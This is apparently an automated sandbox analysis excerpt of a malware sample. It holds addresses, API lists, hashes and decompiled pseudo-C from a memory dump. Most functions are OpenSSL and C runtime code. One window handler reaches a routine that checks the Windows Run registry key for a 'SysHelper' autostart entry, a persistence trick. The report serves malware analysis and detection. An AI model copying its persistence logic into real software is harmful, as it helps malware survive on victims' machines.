0x00463826
0x00463835
0x0046383a
0x0046383d
0x0046383f
0x004638b2
0x004638b6
0x0046388e
0x00463894
0x0046389c
0x004638a1
0x004638a4
0x004638a6
0x004638ca
0x004638cd
0x004638cf
0x00463ace
0x00463ad0
0x00463ad4
0x00463ad6
0x00000000
0x004638d5
0x004638e8
0x004638ea
0x004638ed
0x004638ef
0x004639c4
0x004639c4
0x004639c8
0x004639c8
0x004639cc
0x004639cf
0x004639cf
0x004639d2
0x004639d2
0x004639d4
0x004639d5
0x004639d5
0x004639e2
0x004639ea
0x004639ef
0x004639f2
0x004639f4
0x00463b5d
0x00463b5d
0x00463b62
0x00463b67
0x00000000
0x004639fa
0x00463a06
0x00463a0b
0x00463a0e
0x00463a10
0x00000000
0x00463a16
0x00463a27
0x00463a2c
0x00463a2f
0x00463a31
0x00000000
0x00463a37
0x00463a3c
0x00463a41
0x00463a45
0x00463a4c
0x00463a4d
0x00463a4e
0x00463a53
0x00463a54
0x00463a59
0x00463a5c
0x00463a5e
0x00463af1
0x00463af6
0x00463af9
0x00463afb
0x00463b12
0x00463b12
0x00463b16
0x00463b1a
0x00000000
0x00463b20
0x00463b28
0x00463b31
0x00463b33
0x00463b3a
0x00463b40
0x00463b42
0x00463b48
0x00463b4e
0x00463b53
0x00463b56
0x00463afd
0x00463afd
0x00463b02
0x00463b07
0x00000000
0x00463b07
0x00463a64
0x00463a64
0x00463a69
0x00463a6e
0x00000000
0x00463a6e
0x00463a5e
0x00463a31
0x00463a10
0x00000000
0x004638f5
0x004638f5
0x004638f7
0x004638f9
0x004638f9
0x00463900
0x00463900
0x00463908
0x00000000
0x00000000
0x0046390a
0x0046390a
0x0046390b
0x00000000
0x00000000
0x00000000
0x0046390b
0x00463900
0x0046390d
0x0046390d
0x00463915
0x00463918
0x0046391e
0x00000000
0x00463924
0x00463924
0x00463927
0x00463936
0x00463946
0x0046394b
0x0046394e
0x00463950
0x00000000
0x00463952
0x00463952
0x00463955
0x00000000
0x00463957
0x00463962
0x00463967
0x0046396a
0x0046396c
0x00463ac0
0x00000000
0x00463972
0x00463983
0x0046398b
0x00463994
0x00463999
0x004639a4
0x004639a8
0x004639a9
0x004639aa
0x004639ac
0x00463a75
0x00463a7d
0x00463a82
0x00463a85
0x00463a87
0x00000000
0x00463a90
0x00463a90
0x00463a90
0x00463a98
0x00000000
0x00000000
0x00463a9a
0x00463a9a
0x00463a9b
0x00000000
0x00000000
0x00000000
0x00463a9b
0x00463a9d
0x00463aa5
0x00463aa8
0x00463aad
0x00000000
0x00463ab3
0x00463ab3
0x00000000
0x00463ab3
0x00463aad
0x00000000
0x00000000
0x00000000
0x004639ac
0x0046396c
0x00463955
0x00463950
0x00000000
0x004639b2
0x004639b7
0x004639b9
0x004639bc
0x004639bc
0x00000000
0x004638f9
0x004638ef
0x004638a8
0x004638a8
0x00000000
0x004638a8
0x00000000
0x00000000
0x00000000
0x0046383f
0x00463820
0x00463805
0x00000000
0x00463841
0x00463854
0x00463867
0x00463873
0x00463875
0x0046387f
0x00463881
0x00463884
0x00463884
0x00000000
0x004637cf
0x0046378c
0x0046378c
0x00463791
0x00463791
0x00463796
0x00463798
0x0046379a
0x0046379c
0x004637a1
0x00000000
0x004637a1
0x0046374a
0x0046374a
0x0046374f
0x00463754
0x00463710
0x00463710
0x00463712
0x00463714
0x00463719
0x00463719
0x0046371c
0x0046371d
0x00463726
0x0046372c
0x00463731
0x00463b98
0x00463b9a
0x00463ba1
0x00463ba2
0x00463ba4
0x00463bb2
0x00463bb2
0x00000000
0x00000000
0x00000000
0x004636e4
0x004636b4
0x00000000
0x004636e6
0x004636f4
0x004636f9
0x004636fc
0x004636fc
0x00000000
0x00463666
0x00463660
0x00000000

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E00425A97(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t22;
				intOrPtr* _t42;

				if(_a4 > 5 || _a8 == 0) {
					L4:
					return 0;
				} else {
					_t42 = E00428C96(8, 1);
					_t48 = _t42;
					if(_t42 != 0) {
						_t12 = E00428C96(0xb8, 1);
						 *_t42 = _t12;
						__eflags = _t12;
						if(_t12 != 0) {
							_t13 = E00428C96(0x220, 1);
							 *((intOrPtr*)(_t42 + 4)) = _t13;
							__eflags = _t13;
							if(_t13 != 0) {
								E004255AC( *_t42, 0x50aae8);
								_t15 = E00425E97(__ebx, __edx, 1, _t42,  *_t42, _a4, _a8);
								_push( *((intOrPtr*)(_t42 + 4)));
								__eflags = _t15;
								if(__eflags == 0) {
									L14:
									E00420BED();
									E0042453C( *_t42);
									E004243E2( *_t42);
									E00420BED(_t42);
									_t42 = 0;
									L16:
									return _t42;
								}
								_push( *((intOrPtr*)( *_t42 + 4)));
								_t22 = E00424BDD(__edx, 1, __eflags);
								__eflags = _t22;
								if(_t22 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)(_t42 + 4)))) = 1;
									goto L16;
								}
								_push( *((intOrPtr*)(_t42 + 4)));
								goto L14;
							}
							E00420BED( *_t42);
							E00420BED(_t42);
							L8:
							goto L3;
						}
						E00420BED(_t42);
						goto L8;
					}
					L3:
					 *((intOrPtr*)(E00425208(_t48))) = 0xc;
					goto L4;
				}
			}

0x00425aa0
0x00425ac6
0x00000000
0x00425aa8
0x00425ab3
0x00425ab7
0x00425ab9
0x00425ad2
0x00425ad7
0x00425adb
0x00425add
0x00425aee
0x00425af3
0x00425af8
0x00425afa
0x00425b13
0x00425b20
0x00425b28
0x00425b2b
0x00425b2d
0x00425b42
0x00425b42
0x00425b49
0x00425b50
0x00425b56
0x00425b5e
0x00425b67
0x00000000
0x00425b67
0x00425b31
0x00425b34
0x00425b3b
0x00425b3d
0x00425b65
0x00000000
0x00425b65
0x00425b3f
0x00000000
0x00425b3f
0x00425afe
0x00425b04
0x00425ae5
0x00000000
0x00425ae5
0x00425ae0
0x00000000
0x00425ae0
0x00425abb
0x00425ac0
0x00000000
0x00425ac0

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041BAE0(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				char _v8;
				char _v12;
				signed int _v16;
				char _v20;
				char _v24;
				char _v32;
				char _v40;
				char _v2308;
				char _v2312;
				intOrPtr _v2316;
				int _v2320;
				intOrPtr _v2328;
				int _v2332;
				short _v2336;
				intOrPtr _v2340;
				short _v2348;
				intOrPtr _v2352;
				int _v2356;
				short _v2372;
				char _v2376;
				int _v2384;
				int _v2388;
				intOrPtr _v2396;
				int _v2400;
				intOrPtr _v2404;
				long _v2408;
				intOrPtr _v2412;
				int _v2416;
				char _v2424;
				char _v2432;
				char _v2436;
				signed int _v2440;
				void* _v2448;
				intOrPtr _v2452;
				signed int _v2456;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t100;
				intOrPtr* _t101;
				long _t102;
				void* _t111;
				long _t117;
				void* _t125;
				void* _t128;
				void* _t136;
				intOrPtr _t140;
				long _t141;
				long _t150;
				intOrPtr* _t151;
				long _t152;
				void* _t154;
				void* _t155;
				void* _t156;
				void* _t158;
				void* _t161;
				int _t164;
				intOrPtr* _t165;
				signed int _t170;
				short* _t171;
				short* _t172;
				intOrPtr* _t176;
				intOrPtr* _t185;
				void* _t187;
				void* _t191;
				DWORD* _t194;
				struct HWND__* _t195;
				struct HWND__* _t203;
				intOrPtr _t206;
				intOrPtr _t208;
				signed int _t211;
				signed int _t212;
				void* _t213;
				void* _t215;
				void* _t216;
				short* _t218;
				short* _t219;
				void* _t221;

				_t212 = _t211 & 0xfffffff8;
				_t164 = _a8;
				_push(0xffffffff);
				_push(0x4cb187);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t212;
				_t213 = _t212 - 0x978;
				_push(_t158);
				_push(_t191);
				_t221 = _t164 - 0x8001;
				if(_t221 > 0) {
					_t100 = _t164 - 0x8003;
					__eflags = _t100;
					if(_t100 == 0) {
						_t165 =  *0x513268;
						_t101 =  *_t165;
						__eflags = _t101 - _t165;
						if(_t101 == _t165) {
							L46:
							__eflags =  *0x52923c;
							if( *0x52923c != 0) {
								goto L50;
							} else {
								goto L47;
							}
						} else {
							while(1) {
								__eflags =  *((char*)(_t101 + 0xd));
								if( *((char*)(_t101 + 0xd)) != 0) {
									break;
								}
								_t101 =  *_t101;
								__eflags = _t101 - _t165;
								if(_t101 != _t165) {
									continue;
								} else {
									goto L46;
								}
								goto L51;
							}
							L50:
							_t102 = DefWindowProcW(_a4, 0x8003, _a12, _a16);
							 *[fs:0x0] = _v16;
							return _t102;
						}
					} else {
						__eflags = _t100 == 1;
						if(_t100 == 1) {
							_v2408 = 0x400;
							_t205 = E00420C62(_t158, _t187, _t191, 0x800);
							GetComputerNameW(_t107,  &_v2408);
							_v2412 = 7;
							_v2416 = 0;
							_v2432 = 0;
							_v8 = 0;
							_t111 = E00413100( &_v2348, _t191, L"\\\\");
							_v12 = 1;
							_t194 = E0041CE80( &_v2376, _t111, _t205);
							_t215 = _t213 + 8;
							__eflags =  &_v2436 - _t194;
							if( &_v2436 != _t194) {
								__eflags = 0;
								_v2412 = 7;
								_v2416 = 0;
								_v2432 = 0;
								E004145A0( &_v2432, _t194);
							}
							__eflags = _v2352 - 8;
							if(_v2352 >= 8) {
								L00422587(_v2372);
								_t215 = _t215 + 4;
							}
							_v2352 = 7;
							_v8 = 0;
							__eflags = _v2328 - 8;
							_v2356 = 0;
							_v2372 = 0;
							if(_v2328 >= 8) {
								L00422587(_v2348);
								_t215 = _t215 + 4;
							}
							_v2328 = 7;
							_v2332 = 0;
							_v2348 = 0;
							E00420BED(_t205);
							_t206 =  *0x529240; // 0x0
							_t170 = 0;
							_t216 = _t215 + 4;
							_v2440 = 0;
							__eflags = _t206 -  *0x529244; // 0x0
							if(__eflags == 0) {
								L37:
								_t195 = _a4;
								_t208 =  *((intOrPtr*)( *0x513268));
								_t117 = IsWindow(_t195);
								__eflags = _t117;
								if(_t117 != 0) {
									__eflags =  *(_t208 + 0x8c8);
									if( *(_t208 + 0x8c8) <= 0) {
										 *0x529224 = 1;
										DestroyWindow(_t195);
									}
								}
							} else {
								_t40 = _t206 + 0x28; // 0x28
								_t161 = _t40;
								do {
									__eflags =  *((intOrPtr*)(_t161 - 0x24)) - 1;
									if( *((intOrPtr*)(_t161 - 0x24)) == 1) {
										__eflags =  *((intOrPtr*)(_t161 - 0x20)) - 3;
										if( *((intOrPtr*)(_t161 - 0x20)) == 3) {
											_t218 = _t216 - 0x18;
											_t171 = _t218;
											_v2436 = _t218;
											_push(0xffffffff);
											 *((intOrPtr*)(_t171 + 0x14)) = 7;
											 *(_t171 + 0x10) = 0;
											 *_t171 = 0;
											E00414690(_t161, _t171,  &_v2432, 0);
											_t219 = _t218 - 0x18;
											_v20 = 2;
											_t172 = _t219;
											_push(0xffffffff);
											 *((intOrPtr*)(_t172 + 0x14)) = 7;
											 *(_t172 + 0x10) = 0;
											 *_t172 = 0;
											E00414690(_t161, _t172, _t161, 0);
											_v32 = 0;
											_t125 = E0040EFF0(0);
											_t216 = _t219 + 0x30;
											__eflags = _t125 - 0xffffffff;
											if(_t125 != 0xffffffff) {
												_t170 = _v2448;
											} else {
												_v2388 = 0;
												_v2384 = 0;
												E0041C330(_t194, _t206,  &_v2388);
												_t128 = E00419D10( &_v2308);
												_v20 = 3;
												E0041C240(_t194, _t206, _t128);
												_v24 = 0;
												E0041B680( &_v2312);
												_t176 =  *0x513268;
												_t131 =  *_t176;
												_t197 =  *((intOrPtr*)(_t176 + 4)) + 8;
												_v2452 =  *((intOrPtr*)(_t176 + 4)) + 8;
												 *((intOrPtr*)(_t131 + 0x8c8)) =  *((intOrPtr*)( *_t176 + 0x8c8)) + 1;
												E0041B8B0(_t161, _t197, _t131 + 8);
												_v2404 = 7;
												_push(0xffffffff);
												_v2408 = 0;
												_v2424 = 0;
												E00414690(_t161,  &_v2424, _t161, 0);
												_v40 = 4;
												_t136 = E0041CE80( &_v2356,  &_v2436, "\\");
												_t216 = _t216 + 4;
												E004131D0(_t197 + 0x8a4, _t136);
												__eflags = _v2340 - 8;
												if(_v2340 >= 8) {
													L00422587(_v2336);
													_t216 = _t216 + 4;
												}
												_v2316 = 7;
												_v20 = 0;
												__eflags = _v2396 - 8;
												_v2320 = 0;
												_v2336 = 0;
												if(_v2396 >= 8) {
													L00422587(_v2416);
													_t216 = _t216 + 4;
												}
												_v2396 = 7;
												_v2416 = 0;
												_t140 =  *0x529228; // 0x78d380
												_v2400 = 0;
												_t194 =  *((intOrPtr*)(_t140 + 4)) + 8;
												_t141 = CreateThread(0, 0, E0041F130, _v2448, 0, _t194);
												__eflags = _t141;
												_t194[1] = _t141;
												_t170 =  !=  ? 1 : _v2456 & 0x000000ff;
												_v2456 = _t170;
											}
										}
									}
									_t206 = _t206 + 0x70;
									_t161 = _t161 + 0x70;
									__eflags = _t206 -  *0x529244; // 0x0
								} while (__eflags != 0);
								__eflags = _t170;
								if(_t170 == 0) {
									goto L37;
								}
							}
							__eflags = _v2412 - 8;
							if(_v2412 >= 8) {
								L00422587(_v2432);
							}
							goto L49;
						} else {
							goto L15;
						}
					}
				} else {
					if(_t221 == 0) {
						_t185 =  *0x513268;
						_t151 =  *_t185;
						__eflags = _t151 - _t185;
						if(_t151 == _t185) {
							goto L49;
						} else {
							while(1) {
								__eflags =  *((char*)(_t151 + 0xd));
								if( *((char*)(_t151 + 0xd)) != 0) {
									_t152 = DefWindowProcW(_a4, 0x8001, _a12, _a16);
									 *[fs:0x0] = _v16;
									return _t152;
								}
								_t151 =  *_t151;
								__eflags = _t151 - _t185;
								if(_t151 != _t185) {
									continue;
								} else {
									goto L49;
								}
								goto L51;
							}
						}
					} else {
						_t154 = _t164 - 2;
						if(_t154 == 0) {
							PostQuitMessage(0);
							L49:
							 *[fs:0x0] = _v16;
							return 0;
						} else {
							_t155 = _t154 - 0xf;
							if(_t155 == 0) {
								goto L49;
							} else {
								_t156 = _t155 - 5;
								if(_t156 != 0) {
									L15:
									_t150 = DefWindowProcW(_a4, _t164, _a12, _a16);
									 *[fs:0x0] = _v16;
									return _t150;
								} else {
									if(_a12 != _t156) {
										E00411CD0(_t158, 0, _t156);
										L47:
										_t203 = _a4;
										if(IsWindow(_t203) != 0) {
											 *0x529224 = 1;
											DestroyWindow(_t203);
										}
									}
									goto L49;
								}
							}
						}
					}
				}
				L51:
			}

0x0041bae3
0x0041baec
0x0041baef
0x0041baf1
0x0041baf6
0x0041baf7
0x0041bafe
0x0041bb04
0x0041bb06
0x0041bb07
0x0041bb0d
0x0041bba2
0x0041bba2
0x0041bba7
0x0041bf3d
0x0041bf43
0x0041bf45
0x0041bf47
0x0041bf5c
0x0041bf5c
0x0041bf63
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bf50
0x0041bf50
0x0041bf50
0x0041bf54
0x00000000
0x00000000
0x0041bf56
0x0041bf58
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf9a
0x0041bfa8
0x0041bfb7
0x0041bfc2
0x0041bfc2
0x0041bbad
0x0041bbad
0x0041bbae
0x0041bbdc
0x0041bbec
0x0041bbf4
0x0041bbfc
0x0041bc04
0x0041bc0c
0x0041bc1a
0x0041bc21
0x0041bc29
0x0041bc3a
0x0041bc3c
0x0041bc43
0x0041bc45
0x0041bc5a
0x0041bc5c
0x0041bc69
0x0041bc71
0x0041bc76
0x0041bc76
0x0041bc7b
0x0041bc80
0x0041bc86
0x0041bc8b
0x0041bc8b
0x0041bc90
0x0041bc98
0x0041bc9f
0x0041bca4
0x0041bcac
0x0041bcb1
0x0041bcb7
0x0041bcbc
0x0041bcbc
0x0041bcc1
0x0041bcca
0x0041bcd2
0x0041bcd7
0x0041bcdc
0x0041bce2
0x0041bce4
0x0041bce7
0x0041bceb
0x0041bcf1
0x0041befb
0x0041bf01
0x0041bf05
0x0041bf07
0x0041bf0d
0x0041bf0f
0x0041bf11
0x0041bf18
0x0041bf1b
0x0041bf22
0x0041bf22
0x0041bf18
0x0041bcf7
0x0041bcf7
0x0041bcf7
0x0041bd00
0x0041bd00
0x0041bd04
0x0041bd0a
0x0041bd0e
0x0041bd14
0x0041bd19
0x0041bd1b
0x0041bd1f
0x0041bd21
0x0041bd28
0x0041bd30
0x0041bd38
0x0041bd3d
0x0041bd40
0x0041bd48
0x0041bd4c
0x0041bd4f
0x0041bd56
0x0041bd5e
0x0041bd61
0x0041bd68
0x0041bd70
0x0041bd75
0x0041bd78
0x0041bd7b
0x0041bee1
0x0041bd81
0x0041bd85
0x0041bd8e
0x0041bd96
0x0041bda2
0x0041bda8
0x0041bdb0
0x0041bdbc
0x0041bdc4
0x0041bdc9
0x0041bdcf
0x0041bdd4
0x0041bdd9
0x0041bddd
0x0041bde7
0x0041bdee
0x0041bdf6
0x0041bdfe
0x0041be06
0x0041be0b
0x0041be19
0x0041be28
0x0041be2d
0x0041be37
0x0041be3c
0x0041be44
0x0041be4d
0x0041be52
0x0041be52
0x0041be57
0x0041be62
0x0041be69
0x0041be6e
0x0041be79
0x0041be81
0x0041be87
0x0041be8c
0x0041be8c
0x0041be91
0x0041be99
0x0041be9e
0x0041bea3
0x0041beae
0x0041bec1
0x0041becb
0x0041becd
0x0041bed8
0x0041bedb
0x0041bedb
0x0041bd7b
0x0041bd0e
0x0041bee5
0x0041bee8
0x0041beeb
0x0041beeb
0x0041bef7
0x0041bef9
0x00000000
0x00000000
0x0041bef9
0x0041bf28
0x0041bf2d
0x0041bf33
0x0041bf38
0x00000000
0x00000000
0x00000000
0x00000000
0x0041bbae
0x0041bb13
0x0041bb13
0x0041bb54
0x0041bb5a
0x0041bb5c
0x0041bb5e
0x00000000
0x00000000
0x0041bb64
0x0041bb64
0x0041bb68
0x0041bb83
0x0041bb90
0x0041bb9d
0x0041bb9d
0x0041bb6a
0x0041bb6c
0x0041bb6e
0x00000000
0x0041bb70
0x00000000
0x0041bb70
0x00000000
0x0041bb6e
0x0041bb64
0x0041bb15
0x0041bb17
0x0041bb1a
0x0041bb49
0x0041bf81
0x0041bf8a
0x0041bf97
0x0041bb1c
0x0041bb1c
0x0041bb1f
0x00000000
0x0041bb25
0x0041bb25
0x0041bb28
0x0041bbb0
0x0041bbba
0x0041bbc7
0x0041bbd4
0x0041bb2e
0x0041bb31
0x0041bb3a
0x0041bf65
0x0041bf65
0x0041bf71
0x0041bf74
0x0041bf7b
0x0041bf7b
0x0041bf71
0x00000000
0x0041bb31
0x0041bb28
0x0041bb1f
0x0041bb1a
0x0041bb13
0x00000000

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32 ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 18.1, APIs: 12, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E00425B6E(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, char _a12) {
				signed int _v8;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				void* _t38;
				signed int _t45;
				signed int _t60;
				intOrPtr _t77;
				void* _t80;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t86;
				intOrPtr _t88;
				void* _t92;

				_t80 = __edx;
				_push(__ebx);
				_push(__esi);
				_t86 = 0;
				if(_a12 <= 0) {
					L5:
					return _t38;
				} else {
					_push(__edi);
					_t82 =  &_a12;
					while(1) {
						_t82 = _t82 + 4;
						_t38 = E004295C3(_a4, _a8,  *_t82);
						_t92 = _t92 + 0xc;
						if(_t38 != 0) {
							break;
						}
						_t86 = _t86 + 1;
						if(_t86 < _a12) {
							continue;
						} else {
							goto L5;
						}
						goto L20;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004242FD(0, _t80);
					asm("int3");
					_push(0x14);
					_push(0x507ab0);
					E00428520(0, _t82, _t86);
					_t66 = 0;
					_v32 = 0;
					__eflags = _a4 - 5;
					if(__eflags <= 0) {
						_t88 = E00425007();
						_v36 = _t88;
						E004245DC(0, _t82, _t88, __eflags);
						 *(_t88 + 0x70) =  *(_t88 + 0x70) | 0x00000010;
						_v8 = _v8 & 0;
						_t83 = E00428C96(0xb8, 1);
						_v40 = _t83;
						__eflags = _t83;
						if(_t83 != 0) {
							E00428AF7(0xc);
							_v8 = 1;
							E004255AC(_t83,  *((intOrPtr*)(_t88 + 0x6c)));
							_v8 = _v8 & 0x00000000;
							E00425CE3();
							_t66 = E00425E97(0, _t80, _t83, _t88, _t83, _a4, _a8);
							_v32 = _t66;
							__eflags = _t66;
							if(_t66 == 0) {
								E0042453C(_t83);
								_t43 = E004243E2(_t83);
							} else {
								__eflags = _a8;
								if(_a8 != 0) {
									_t60 = E00437413(_a8, 0x50a97c);
									__eflags = _t60;
									if(_t60 != 0) {
										 *0x510434 = 1;
									}
								}
								E00428AF7(0xc);
								_v8 = 2;
								_t25 = _t88 + 0x6c; // 0x6c
								E0042465C(_t25, _t83);
								E0042453C(_t83);
								__eflags =  *(_t88 + 0x70) & 0x00000002;
								if(( *(_t88 + 0x70) & 0x00000002) == 0) {
									__eflags =  *0x50aba8 & 0x00000001;
									if(( *0x50aba8 & 0x00000001) == 0) {
										E0042465C(0x50aae4,  *((intOrPtr*)(_t88 + 0x6c)));
										_t77 =  *0x50aae4; // 0x50aae8
										_t32 = _t77 + 0x84; // 0x50b030
										 *0x50b028 =  *_t32;
										_t33 = _t77 + 0x90; // 0x4d0da8
										 *0x50b084 =  *_t33;
										_t34 = _t77 + 0x74; // 0x1
										 *0x50a978 =  *_t34;
									}
								}
								_v8 = _v8 & 0x00000000;
								_t43 = E00425CF2();
							}
						}
						_v8 = 0xfffffffe;
						E00425D25(_t43, _t88);
						_t45 = _t66;
					} else {
						 *((intOrPtr*)(E00425208(__eflags))) = 0x16;
						E004242D2();
						_t45 = 0;
					}
					return E00428565(_t45);
				}
				L20:
			}

0x00425b6e
0x00425b71
0x00425b74
0x00425b75
0x00425b7a
0x00425b9e
0x00425ba1
0x00425b7c
0x00425b7c
0x00425b7d
0x00425b80
0x00425b80
0x00425b8b
0x00425b90
0x00425b95
0x00000000
0x00000000
0x00425b97
0x00425b9b
0x00000000
0x00425b9d
0x00000000
0x00425b9d
0x00000000
0x00425b9b
0x00425ba2
0x00425ba3
0x00425ba4
0x00425ba5
0x00425ba6
0x00425ba7
0x00425bac
0x00425bad
0x00425baf
0x00425bb4
0x00425bb9
0x00425bbb
0x00425bbe
0x00425bc2
0x00425be0
0x00425be2
0x00425be5
0x00425bea
0x00425bee
0x00425bff
0x00425c01
0x00425c04
0x00425c06
0x00425c0e
0x00425c14
0x00425c1f
0x00425c26
0x00425c2a
0x00425c3e
0x00425c40
0x00425c43
0x00425c45
0x00425cfe
0x00425d04
0x00425c4b
0x00425c4b
0x00425c4f
0x00425c59
0x00425c60
0x00425c62
0x00425c64
0x00425c64
0x00425c62
0x00425c70
0x00425c76
0x00425c7d
0x00425c82
0x00425c88
0x00425c90
0x00425c94
0x00425c96
0x00425c9d
0x00425ca7
0x00425cae
0x00425cb4
0x00425cba
0x00425cbf
0x00425cc5
0x00425cca
0x00425ccd
0x00425ccd
0x00425c9d
0x00425cd2
0x00425cd6
0x00425cd6
0x00425c45
0x00425d0b
0x00425d12
0x00425d17
0x00425bc4
0x00425bc9
0x00425bcf
0x00425bd4
0x00425bd4
0x00425d1e
0x00425d1e
0x00000000

APIs

__invoke_watson.LIBCMT ref: 00425BA7
__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
